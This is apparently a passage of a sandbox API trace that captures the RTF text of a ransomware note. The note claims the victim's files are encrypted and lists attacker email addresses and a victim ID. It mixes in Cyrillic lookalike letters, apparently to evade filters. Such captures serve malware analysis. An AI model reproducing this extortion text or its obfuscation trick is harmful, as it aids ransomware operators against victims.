ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 